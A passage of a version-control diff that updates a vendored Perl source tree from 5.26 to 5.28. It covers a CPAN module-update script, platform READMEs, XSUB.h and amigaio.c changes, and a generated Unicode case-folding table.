     die "Tarball $tarball is not a plain file\n" if !-f _;
     $new_file     = $tarball;
@@ -313,12 +332,7 @@
     # Poor man's cache
     #
     unless (-f $package_file && -M $package_file < 1) {
-        eval {
-            require HTTP::Tiny;
-            my $http= HTTP::Tiny->new();
-            $http->mirror( $package_url => $package_file );
-            1
-        } or system wget => $package_url, '-qO', $package_file;
+        wget $package_url, $package_file;
     }
 
     open my $fh, '<', $package_file;
@@ -334,17 +348,12 @@
     die "The latest version of $module is $new_version, but blead already has it\n"
         if $new_version eq $old_version;
 
-    my $url = "http://search.cpan.org/CPAN/authors/id/$new_path";
+    my $url = "https://cpan.metacpan.org/authors/id/$new_path";
     say "Fetching $url";
     #
     # Fetch the new distro
     #
-    eval {
-        require HTTP::Tiny;
-        my $http= HTTP::Tiny->new();
-        $http->mirror( $url => $new_file );
-        1
-    } or system wget => $url, '-qO', $new_file;
+    wget $url, $new_file;
 }
 
 my  $old_dir      = "$pkg_dir-$old_version";
@@ -486,7 +495,7 @@
 # Mustn't change the +x bit on files that are whitelisted
 #
 if (@de_exec) {
-    my %permitted = map +(tr/\n//dr => 1), grep !/^#/,
+    my %permitted = map { (my $x = $_) =~ tr/\n//d; $x => 1 } grep !/^#/,
         do { local @ARGV = '../Porting/exec-bit.txt'; <> };
     @de_exec = grep !$permitted{"cpan/$pkg_dir/$_"}, @de_exec;
 }

Modified: vendor/perl/dist/README
===================================================================
--- vendor/perl/dist/README	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,7 @@
 Perl is Copyright (C) 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000,
 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012,
-2013, 2014, 2015, 2016, 2017 by Larry Wall and others.  All rights reserved.
+2013, 2014, 2015, 2016, 2017, 2018 by Larry Wall and others.
+All rights reserved.
 
 
 

Modified: vendor/perl/dist/README.haiku
===================================================================
--- vendor/perl/dist/README.haiku	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README.haiku	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,9 +22,9 @@
 Make perl executable and create a symlink for libperl:
 
   chmod a+x /boot/common/bin/perl
-  cd /boot/common/lib; ln -s perl5/5.26.0/BePC-haiku/CORE/libperl.so .
+  cd /boot/common/lib; ln -s perl5/5.28.0/BePC-haiku/CORE/libperl.so .
 
-Replace C<5.26.0> with your respective version of Perl.
+Replace C<5.28.0> with your respective version of Perl.
 
 =head1 KNOWN PROBLEMS
 

Modified: vendor/perl/dist/README.macosx
===================================================================
--- vendor/perl/dist/README.macosx	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README.macosx	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,9 +10,9 @@
 
 This document briefly describes Perl under Mac OS X.
 
-  curl -O http://www.cpan.org/src/perl-5.26.0.tar.gz
-  tar -xzf perl-5.26.0.tar.gz
-  cd perl-5.26.0
+  curl -O http://www.cpan.org/src/perl-5.28.0.tar.gz
+  tar -xzf perl-5.28.0.tar.gz
+  cd perl-5.28.0
   ./Configure -des -Dprefix=/usr/local/
   make
   make test
@@ -20,7 +20,7 @@
 
 =head1 DESCRIPTION
 
-The latest Perl release (5.26.0 as of this writing) builds without changes
+The latest Perl release (5.28.0 as of this writing) builds without changes
 under all versions of Mac OS X from 10.3 "Panther" onwards. 
 
 In order to build your own version of Perl you will need 'make',

Modified: vendor/perl/dist/README.os2
===================================================================
--- vendor/perl/dist/README.os2	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README.os2	2018-12-22 22:55:19 UTC (rev 12126)
@@ -619,7 +619,7 @@
 
 =item Additional Perl modules
 
-  unzip perl_ste.zip -d f:/perllib/lib/site_perl/5.26.0/
+  unzip perl_ste.zip -d f:/perllib/lib/site_perl/5.28.0/
 
 Same remark as above applies.  Additionally, if this directory is not
 one of directories on @INC (and @INC is influenced by C<PERLLIB_PREFIX>), you

Modified: vendor/perl/dist/README.symbian
===================================================================
--- vendor/perl/dist/README.symbian	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README.symbian	2018-12-22 22:55:19 UTC (rev 12126)
@@ -367,7 +367,7 @@
  - The following extensions are missing for various technical
    reasons:
    B ByteLoader Devel::DProf Devel::PPPort Encode GDBM_File
-   I18N::Langinfo IPC::SysV NDBM_File Opcode PerlIO::encoding POSIX
+   IPC::SysV NDBM_File Opcode PerlIO::encoding POSIX
    re Safe Sys::Hostname Sys::Syslog
    threads threads::shared Unicode::Normalize
  - Using MakeMaker or the Module::* to build and install modules

Modified: vendor/perl/dist/README.synology
===================================================================
--- vendor/perl/dist/README.synology	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README.synology	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,11 +23,11 @@
 Since it is based on Linux, the NAS can run many popular Linux
 software packages, including Perl. In fact, Synology provides a
 ready-to-install package for Perl, depending on the version of DSM
-the installed perl ranges from 5.8.6 on DSM-4.3 to 5.18.4 on DSM-6.0.1.
+the installed perl ranges from 5.8.6 on DSM-4.3 to 5.24.0 on DSM-6.1.
 
 There is an active user community that provides many software packages
 for the Synology DSM systems; at the time of writing this document
-they provide Perl version 5.18.4.
+they provide Perl version 5.24.1.
 
 This document describes various features of Synology DSM operating
 system that will affect how Perl 5 (hereafter just Perl) is
@@ -138,11 +138,13 @@
 L<Install Entware-ng on Synology NAS|https://github.com/Entware-ng/Entware-ng/wiki/Install-on-Synology-NAS>
 
 That sadly does not (yet) work on QorIQ. At the moment of writing, the
-supported architectures are armv5, armv7, mipsel, x86_32 and x86_64.
+supported architectures are armv5, armv7, mipsel, wl500g, x86_32, and x86_64.
+Check L<here|http://pkg.entware.net/binaries/> for supported platforms.
 
-Entware-ng comes with a precompiled 5.22.1 (June 2016) that allowes
+Entware-ng comes with a precompiled 5.24.1 (June 2017) that allowes
 building shared XS code. Note that this installation does B<not> use
-a site_perl folder.
+a site_perl folder. The available C<cpan> works. If all required
+development packages are installed too, also for XS.
 
 =head2 Compiling Perl 5
 
@@ -265,7 +267,7 @@
 
 =head1 REVISION
 
-June 2016, for Synology DSM 5.1.5022 and DSM 6.0.1-7393.
+June 2017, for Synology DSM 5.1.5022 and DSM 6.1-15101-4.
 
 =head1 AUTHOR
 

Modified: vendor/perl/dist/README.vms
===================================================================
--- vendor/perl/dist/README.vms	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README.vms	2018-12-22 22:55:19 UTC (rev 12126)
@@ -142,11 +142,11 @@
 choice.  Once you have done so, use a command like the following to
 unpack the archive:
 
-    vmstar -xvf perl-5^.26^.0.tar
+    vmstar -xvf perl-5^.28^.0.tar
 
 Then set default to the top-level source directory like so:
 
-    set default [.perl-5^.26^.0]
+    set default [.perl-5^.28^.0]
 
 and proceed with configuration as described in the next section.
 

Modified: vendor/perl/dist/README.win32
===================================================================
--- vendor/perl/dist/README.win32	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/README.win32	2018-12-22 22:55:19 UTC (rev 12126)
@@ -42,6 +42,7 @@
       Microsoft Visual C++    version 6.0 or later
       Intel C++ Compiler      (experimental)
       Gcc by mingw.org        gcc version 3.4.5 or later
+                              with runtime < 3.21
       Gcc by mingw-w64.org    gcc version 4.4.3 or later
 
 Note that the last two of these are actually competing projects both
@@ -63,10 +64,10 @@
 =back
 
 The Microsoft Visual C++ compilers are also now being given away free. They are
-available as "Visual C++ Toolkit 2003" or "Visual C++ 2005-2015 Express
-Edition" (and also as part of the ".NET Framework SDK") and are the same
-compilers that ship with "Visual C++ .NET 2003 Professional" or "Visual C++
-2005-2015 Professional" respectively.
+available as "Visual C++ Toolkit 2003" or "Visual C++ 2005-2017 Express [or
+Community, from 2017] Edition" (and also as part of the ".NET Framework SDK")
+and are the same compilers that ship with "Visual C++ .NET 2003 Professional"
+or "Visual C++ 2005-2017 Professional" respectively.
 
 This port can also be built on IA64/AMD64 using:
 
@@ -139,9 +140,9 @@
 With the newer compilers, you may also use the older batch files if you choose
 so.
 
-=item Microsoft Visual C++ 2008-2015 Express Edition
+=item Microsoft Visual C++ 2008-2017 Express/Community Edition
 
-These free versions of Visual C++ 2008-2015 Professional contain the same
+These free versions of Visual C++ 2008-2017 Professional contain the same
 compilers and linkers that ship with the full versions, and also contain
 everything necessary to build Perl, rather than requiring a separate download
 of the Windows SDK like previous versions did.
@@ -151,7 +152,8 @@
 links to these packages has proven a pointless task because the links keep on
 changing so often.)
 
-Install Visual C++ 2008-2015 Express, then setup your environment using, e.g.
+Install Visual C++ 2008-2017 Express/Community, then setup your environment
+using, e.g.
 
  C:\Program Files\Microsoft Visual Studio 12.0\Common7\Tools\vsvars32.bat
 
@@ -158,7 +160,7 @@
 (assuming the default installation location was chosen).
 
 Perl should now build using the win32/Makefile.  You will need to edit that
-file to set CCTYPE to one of MSVC90FREE-MSVC140FREE first.
+file to set CCTYPE to one of MSVC90-MSVC141 first.
 
 =item Microsoft Visual C++ 2005 Express Edition
 
@@ -200,7 +202,7 @@
 Perl should now build using the win32/Makefile.  You will need to edit that
 file to set
 
- CCTYPE = MSVC80FREE
+ CCTYPE = MSVC80
 
 and to set CCHOME, CCINCDIR and CCLIBDIR as per the environment setup above.
 
@@ -311,15 +313,22 @@
 Perl.  Make sure you are building within one of the "Build Environment"
 shells available after you install the Platform SDK from the Start Menu.
 
-=item MinGW release 3 with gcc
+=item GCC
 
-Perl can be compiled with gcc from MinGW release 3 and later (using gcc 3.4.5
-and later).  It can be downloaded here:
+Perl can be compiled with gcc from MinGW (version 3.4.5 or later) or from
+MinGW64 (version 4.4.3 or later).  It can be downloaded here:
 
 L<http://www.mingw.org/>
+L<http://www.mingw-w64.org/>
 
 You also need dmake.  See L</"Make"> above on how to get it.
 
+Note that the MinGW build currently requires a MinGW runtime version earlier
+than 3.21 (check __MINGW32_MAJOR_VERSION and __MINGW32_MINOR_VERSION).
+
+Note also that the C++ mode build currently fails with MinGW 3.4.5 and 4.7.2
+or later, and with MinGW64 64-bit 6.3.0 or later.
+
 =item Intel C++ Compiler
 
 Experimental support for using Intel C++ Compiler has been added. Edit
@@ -393,7 +402,7 @@
 Type "dmake" (or "nmake" if you are using that make).
 
 This should build everything.  Specifically, it will create perl.exe,
-perl526.dll at the perl toplevel, and various other extension dll's
+perl528.dll at the perl toplevel, and various other extension dll's
 under the lib\auto directory.  If the build fails for any reason, make
 sure you have done the previous steps correctly.
 
@@ -950,6 +959,6 @@
 
 Support for 64-bit Windows added in 5.8 (ActiveState Corp).
 
-Last updated: 19 February 2017
+Last updated: 23 May 2018
 
 =cut

Modified: vendor/perl/dist/XSUB.h
===================================================================
--- vendor/perl/dist/XSUB.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/XSUB.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,8 +8,8 @@
  *
  */
 
-#ifndef _INC_PERL_XSUB_H
-#define _INC_PERL_XSUB_H 1
+#ifndef PERL_XSUB_H_
+#define PERL_XSUB_H_ 1
 
 /* first, some documentation for xsubpp-generated items */
 
@@ -119,7 +119,7 @@
  * "STATIC", ie. it exports XSUB symbols. You probably don't want that.
  */
 
-#define XSPROTO(name) void name(pTHX_ CV* cv)
+#define XSPROTO(name) void name(pTHX_ CV* cv __attribute__unused__)
 
 #undef XS
 #undef XS_EXTERNAL
@@ -127,25 +127,19 @@
 #if defined(__CYGWIN__) && defined(USE_DYNAMIC_LOADING)
 #  define XS_EXTERNAL(name) __declspec(dllexport) XSPROTO(name)
 #  define XS_INTERNAL(name) STATIC XSPROTO(name)
-#endif
-#if defined(__SYMBIAN32__)
+#elif defined(__SYMBIAN32__)
 #  define XS_EXTERNAL(name) EXPORT_C XSPROTO(name)
 #  define XS_INTERNAL(name) EXPORT_C STATIC XSPROTO(name)
+#elif defined(__cplusplus)
+#  define XS_EXTERNAL(name) extern "C" XSPROTO(name)
+#  define XS_INTERNAL(name) static XSPROTO(name)
+#elif defined(HASATTRIBUTE_UNUSED)
+#  define XS_EXTERNAL(name) void name(pTHX_ CV* cv __attribute__unused__)
+#  define XS_INTERNAL(name) STATIC void name(pTHX_ CV* cv __attribute__unused__)
+#else
+#  define XS_EXTERNAL(name) XSPROTO(name)
+#  define XS_INTERNAL(name) STATIC XSPROTO(name)
 #endif
-#ifndef XS_EXTERNAL
-#  if defined(HASATTRIBUTE_UNUSED) && !defined(__cplusplus)
-#    define XS_EXTERNAL(name) void name(pTHX_ CV* cv __attribute__unused__)
-#    define XS_INTERNAL(name) STATIC void name(pTHX_ CV* cv __attribute__unused__)
-#  else
-#    ifdef __cplusplus
-#      define XS_EXTERNAL(name) extern "C" XSPROTO(name)
-#      define XS_INTERNAL(name) static XSPROTO(name)
-#    else
-#      define XS_EXTERNAL(name) XSPROTO(name)
-#      define XS_INTERNAL(name) STATIC XSPROTO(name)
-#    endif
-#  endif
-#endif
 
 /* We do export xsub symbols by default for the public XS macro.
  * Try explicitly using XS_INTERNAL/XS_EXTERNAL instead, please. */
@@ -703,7 +697,7 @@
 #  endif  /* NO_XSLOCKS */
 #endif  /* PERL_IMPLICIT_SYS && !PERL_CORE */
 
-#endif /* _INC_PERL_XSUB_H */		/* include guard */
+#endif /* PERL_XSUB_H_ */		/* include guard */
 
 /*
  * ex: set ts=8 sts=4 sw=4 et:

Modified: vendor/perl/dist/amigaos4/amigaio.c
===================================================================
--- vendor/perl/dist/amigaos4/amigaio.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/amigaos4/amigaio.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -646,7 +646,7 @@
 static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report)
 {
 	dVAR;
-	const char **a;
+	const char **argv, **a;
 	char *s;
 	char *buf;
 	char *cmd;
@@ -656,7 +656,9 @@
 
 	PERL_ARGS_ASSERT_DO_EXEC3;
 
+	ENTER;
 	Newx(buf, cmdlen, char);
+	SAVEFREEPV(buf);
 	cmd = buf;
 	memcpy(cmd, incmd, cmdlen);
 
@@ -668,7 +670,7 @@
 	if (*cmd == '.' && isSPACE(cmd[1]))
 		goto doshell;
 
-	if (strEQs(cmd, "exec") && isSPACE(cmd[4]))
+	if (strBEGINs(cmd, "exec") && isSPACE(cmd[4]))
 		goto doshell;
 
 	s = cmd;
@@ -709,15 +711,16 @@
 			PERL_FPU_POST_EXEC
 			S_exec_failed(aTHX_ PL_sh_path, fd, do_report);
 			amigaos_post_exec(fd, do_report);
-			Safefree(buf);
-			return result;
+			goto leave;
 		}
 	}
 
-	Newx(PL_Argv, (s - cmd) / 2 + 2, const char *);
-	PL_Cmd = savepvn(cmd, s - cmd);
-	a = PL_Argv;
-	for (s = PL_Cmd; *s;)
+	Newx(argv, (s - cmd) / 2 + 2, const char *);
+	SAVEFREEPV(argv);
+	cmd = savepvn(cmd, s - cmd);
+	SAVEFREEPV(cmd);
+	a = argv;
+	for (s = cmd; *s;)
 	{
 		while (isSPACE(*s))
 			s++;
@@ -729,22 +732,18 @@
 			*s++ = '\0';
 	}
 	*a = NULL;
-	if (PL_Argv[0])
+	if (argv[0])
 	{
 		PERL_FPU_PRE_EXEC
-		result = myexecvp(FALSE, PL_Argv[0], EXEC_ARGV_CAST(PL_Argv));
+		result = myexecvp(FALSE, argv[0], EXEC_ARGV_CAST(argv));
 		PERL_FPU_POST_EXEC
-		if (errno == ENOEXEC)
-		{
-			/* for system V NIH syndrome */
-			do_execfree();
+		if (errno == ENOEXEC) /* for system V NIH syndrome */
 			goto doshell;
-		}
-		S_exec_failed(aTHX_ PL_Argv[0], fd, do_report);
+		S_exec_failed(aTHX_ argv[0], fd, do_report);
 		amigaos_post_exec(fd, do_report);
 	}
-	do_execfree();
-	Safefree(buf);
+leave:
+	LEAVE;
 	return result;
 }
 
@@ -754,24 +753,30 @@
 	dVAR;
 	I32 result = -1;
 	PERL_ARGS_ASSERT_DO_AEXEC5;
+	ENTER;
 	if (sp > mark)
 	{
-		const char **a;
+		const char **argv, **a;
 		const char *tmps = NULL;
-		Newx(PL_Argv, sp - mark + 1, const char *);
-		a = PL_Argv;
+		Newx(argv, sp - mark + 1, const char *);
+		SAVEFREEPV(argv);
+		a = argv;
 
 		while (++mark <= sp)
 		{
-			if (*mark)
-				*a++ = SvPV_nolen_const(*mark);
-			else
+			if (*mark) {
+				char *arg = savepv(SvPV_nolen_const(*mark));
+				SAVEFREEPV(arg);
+				*a++ = arg;
+			} else
 				*a++ = "";
 		}
 		*a = NULL;
-		if (really)
-			tmps = SvPV_nolen_const(really);
-		if ((!really && *PL_Argv[0] != '/') ||
+		if (really) {
+			tmps = savepv(SvPV_nolen_const(really));
+			SAVEFREEPV(tmps);
+		}
+		if ((!really && *argv[0] != '/') ||
 		        (really && *tmps != '/')) /* will execvp use PATH? */
 			TAINT_ENV(); /* testing IFS here is overkill, probably
                                         */
@@ -778,18 +783,17 @@
 		PERL_FPU_PRE_EXEC
 		if (really && *tmps)
 		{
-			result = myexecvp(FALSE, tmps, EXEC_ARGV_CAST(PL_Argv));
+			result = myexecvp(FALSE, tmps, EXEC_ARGV_CAST(argv));
 		}
 		else
 		{
-			result = myexecvp(FALSE, PL_Argv[0],
-			                  EXEC_ARGV_CAST(PL_Argv));
+			result = myexecvp(FALSE, argv[0], EXEC_ARGV_CAST(argv));
 		}
 		PERL_FPU_POST_EXEC
-		S_exec_failed(aTHX_(really ? tmps : PL_Argv[0]), fd, do_report);
+		S_exec_failed(aTHX_(really ? tmps : argv[0]), fd, do_report);
 	}
 	amigaos_post_exec(fd, do_report);
-	do_execfree();
+	LEAVE;
 	return result;
 }
 

Modified: vendor/perl/dist/autodoc.pl
===================================================================
--- vendor/perl/dist/autodoc.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/autodoc.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -383,6 +383,8 @@
 # deprecated.
 my @missing_api = grep $funcflags{$_}{flags} =~ /A/ && $funcflags{$_}{flags} !~ /[MD]/ && !$docs{api}{$_}, keys %funcflags;
 output('perlapi', <<'_EOB_', $docs{api}, \@missing_api, <<'_EOE_');
+=encoding UTF-8
+
 =head1 NAME
 
 perlapi - autogenerated documentation for the perl public API

Modified: vendor/perl/dist/av.c
===================================================================
--- vendor/perl/dist/av.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/av.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -140,10 +140,6 @@
                             ? SSize_t_MAX : key + newmax;
 	      resize:
 		{
-#ifdef PERL_MALLOC_WRAP /* Duplicated in pp_hot.c */
-		    static const char oom_array_extend[] =
-			"Out of memory during array extend";
-#endif
                     /* it should really be newmax+1 here, but if newmax
                      * happens to equal SSize_t_MAX, then newmax+1 is
                      * undefined. This means technically we croak one
@@ -150,7 +146,7 @@
                      * index lower than we should in theory; in practice
                      * its unlikely the system has SSize_t_MAX/sizeof(SV*)
                      * bytes to spare! */
-		    MEM_WRAP_CHECK_1(newmax, SV*, oom_array_extend);
+		    MEM_WRAP_CHECK_s(newmax, SV*, "Out of memory during array extend");
 		}
 #ifdef STRESS_REALLOC
 		{
@@ -176,12 +172,8 @@
 	    else {
 		newmax = key < 3 ? 3 : key;
 		{
-#ifdef PERL_MALLOC_WRAP /* Duplicated in pp_hot.c */
-		    static const char oom_array_extend[] =
-			"Out of memory during array extend";
-#endif
                     /* see comment above about newmax+1*/
-		    MEM_WRAP_CHECK_1(newmax, SV*, oom_array_extend);
+		    MEM_WRAP_CHECK_s(newmax, SV*, "Out of memory during array extend");
 		}
 		Newx(*allocp, newmax+1, SV*);
 		ary = *allocp + 1;
@@ -542,7 +534,7 @@
 Perl_av_undef(pTHX_ AV *av)
 {
     bool real;
-    SSize_t orig_ix;
+    SSize_t orig_ix = PL_tmps_ix; /* silence bogus warning about possible unitialized use */
 
     PERL_ARGS_ASSERT_AV_UNDEF;
     assert(SvTYPE(av) == SVt_PVAV);
@@ -551,7 +543,8 @@
     if (SvTIED_mg((const SV *)av, PERL_MAGIC_tied)) 
 	av_fill(av, -1);
 
-    if ((real = cBOOL(AvREAL(av)))) {
+    real = cBOOL(AvREAL(av));
+    if (real) {
 	SSize_t key = AvFILLp(av) + 1;
 
         /* avoid av being freed when calling destructors below */
@@ -1014,6 +1007,9 @@
 
     if (key <= AvFILLp(av) && AvARRAY(av)[key])
     {
+	if (SvSMAGICAL(AvARRAY(av)[key])
+	 && mg_find(AvARRAY(av)[key], PERL_MAGIC_nonelem))
+	    return FALSE;
 	return TRUE;
     }
     else
@@ -1056,19 +1052,29 @@
     PERL_ARGS_ASSERT_AV_ITER_P;
     assert(SvTYPE(av) == SVt_PVAV);
 
-#if IVSIZE == I32SIZE
-    return (IV *)&(mg->mg_len);
-#else
-    if (!mg->mg_ptr) {
-	IV *temp;
-	mg->mg_len = IVSIZE;
-	Newxz(temp, 1, IV);
-	mg->mg_ptr = (char *) temp;
+    if (sizeof(IV) == sizeof(SSize_t)) {
+	return (IV *)&(mg->mg_len);
+    } else {
+	if (!mg->mg_ptr) {
+	    IV *temp;
+	    mg->mg_len = IVSIZE;
+	    Newxz(temp, 1, IV);
+	    mg->mg_ptr = (char *) temp;
+	}
+	return (IV *)mg->mg_ptr;
     }
-    return (IV *)mg->mg_ptr;
-#endif
 }
 
+SV *
+Perl_av_nonelem(pTHX_ AV *av, SSize_t ix) {
+    SV * const sv = newSV(0);
+    PERL_ARGS_ASSERT_AV_NONELEM;
+    if (!av_store(av,ix,sv))
+	return sv_2mortal(sv); /* has tie magic */
+    sv_magic(sv, NULL, PERL_MAGIC_nonelem, NULL, 0);
+    return sv;
+}
+
 /*
  * ex: set ts=8 sts=4 sw=4 et:
  */

Modified: vendor/perl/dist/caretx.c
===================================================================
--- vendor/perl/dist/caretx.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/caretx.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -56,8 +56,7 @@
     SV *const caret_x = GvSV(tmpgv);
 #if defined(OS2)
     sv_setpv(caret_x, os2_execname(aTHX));
-#else
-#  ifdef USE_KERN_PROC_PATHNAME
+#elif defined(USE_KERN_PROC_PATHNAME)
     size_t size = 0;
     int mib[4];
     mib[0] = CTL_KERN;
@@ -77,7 +76,7 @@
             return;
         }
     }
-#  elif defined(USE_NSGETEXECUTABLEPATH)
+#elif defined(USE_NSGETEXECUTABLEPATH)
     char buf[1];
     uint32_t size = sizeof(buf);
 
@@ -96,7 +95,7 @@
             return;
         }
     }
-#  elif defined(HAS_PROCSELFEXE)
+#elif defined(HAS_PROCSELFEXE)
     char buf[MAXPATHLEN];
     SSize_t len = readlink(PROCSELFEXE_PATH, buf, sizeof(buf) - 1);
     /* NOTE: if the length returned by readlink() is sizeof(buf) - 1,
@@ -126,7 +125,7 @@
         sv_setpvn(caret_x, buf, len);
         return;
     }
-#  elif defined(WIN32)
+#elif defined(WIN32)
     char *ansi;
     WCHAR widename[MAX_PATH];
     GetModuleFileNameW(NULL, widename, sizeof(widename)/sizeof(WCHAR));
@@ -134,7 +133,7 @@
     sv_setpv(caret_x, ansi);
     win32_free(ansi);
     return;
-#  endif
+#else
     /* Fallback to this:  */
     sv_setpv(caret_x, PL_origargv[0]);
 #endif

Modified: vendor/perl/dist/cflags.SH
===================================================================
--- vendor/perl/dist/cflags.SH	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cflags.SH	2018-12-22 22:55:19 UTC (rev 12126)
@@ -73,18 +73,10 @@
 #include <setjmp.h>
 /* Just in case the inclusion of perl.h did not
  * pull in enough system headers, let's try again. */
-#ifdef I_STDLIB
 #include <stdlib.h>
-#endif
-#ifdef I_STDDEF
 #include <stddef.h>
-#endif
-#ifdef I_STDARG
 #include <stdarg.h>
-#endif
-#ifdef I_LIMITS
 #include <limits.h>
-#endif
 #ifdef I_DIRENT
 #include <dirent.h>
 #endif
@@ -188,6 +180,7 @@
 #
 *)  for opt in -std=c89 -ansi $pedantic \
 		-Werror=declaration-after-statement \
+	        -Werror=pointer-arith \
 		-Wextra -W \
 		-Wc++-compat -Wwrite-strings
     do
@@ -247,6 +240,16 @@
                      ;;
                   esac
                   ;;
+               -Werror=pointer-arith)
+                  # -pedantic* covers -Werror=p-a
+                  case "$warn" in
+                  *-pedantic*) ;;
+                  *)
+                     echo "cflags.SH: Adding $opt."
+                     warn="$warn $opt"
+                     ;;
+                  esac
+                  ;;
                *)
                   echo "cflags.SH: Adding $opt."
                   warn="$warn $opt"
@@ -367,7 +370,8 @@
   ;;
 esac
 
-for f in -Wdeclaration-after-statement -Werror=declaration-after-statement
+for f in -Wdeclaration-after-statement -Werror=declaration-after-statement \
+         -Wpointer-arith -Werror=pointer-arith
 do
   case "$cppflags" in
   *"$f"*)
@@ -515,7 +519,6 @@
     toke) optimize=-O0 ;;
     esac
 
-    # Can we perhaps use $ansi2knr here
     echo "$cc -c -DPERL_CORE $ccflags $stdflags $optimize $warn $extra"
 
     . $TOP/config.sh

Modified: vendor/perl/dist/charclass_invlists.h
===================================================================
--- vendor/perl/dist/charclass_invlists.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/charclass_invlists.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 /* See the generating file for comments */
 
 
-#if defined(PERL_IN_REGCOMP_C)
+#if defined(PERL_IN_UTF8_C)
 
 static const UV Latin1_invlist[] = {
 	2,	/* Number of elements */
@@ -27,512 +27,905 @@
 	0x100
 };
 
-#endif	/* defined(PERL_IN_REGCOMP_C) */
+#endif	/* defined(PERL_IN_UTF8_C) */
 
-#if 'A' == 65 /* ASCII/Latin1 */
+#if defined(PERL_IN_UTF8_C)
 
-#if defined(PERL_IN_PERL_C)
+#   if 'A' == 65 /* ASCII/Latin1 */
 
-static const UV ASCII_invlist[] = { /* for ASCII/Latin1 */
-	2,	/* Number of elements */
+static const UV Case_Folding_invlist[] = { /* for ASCII/Latin1 */
+	1373,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x80
-};
-
-static const UV Assigned_invlist[] = { /* for ASCII/Latin1 */
-	1276,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0x378,
-	0x37A,
+	0x41,
+	0x5B,
+	0xB5,
+	0xB6,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xDF,
+	0xE0,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
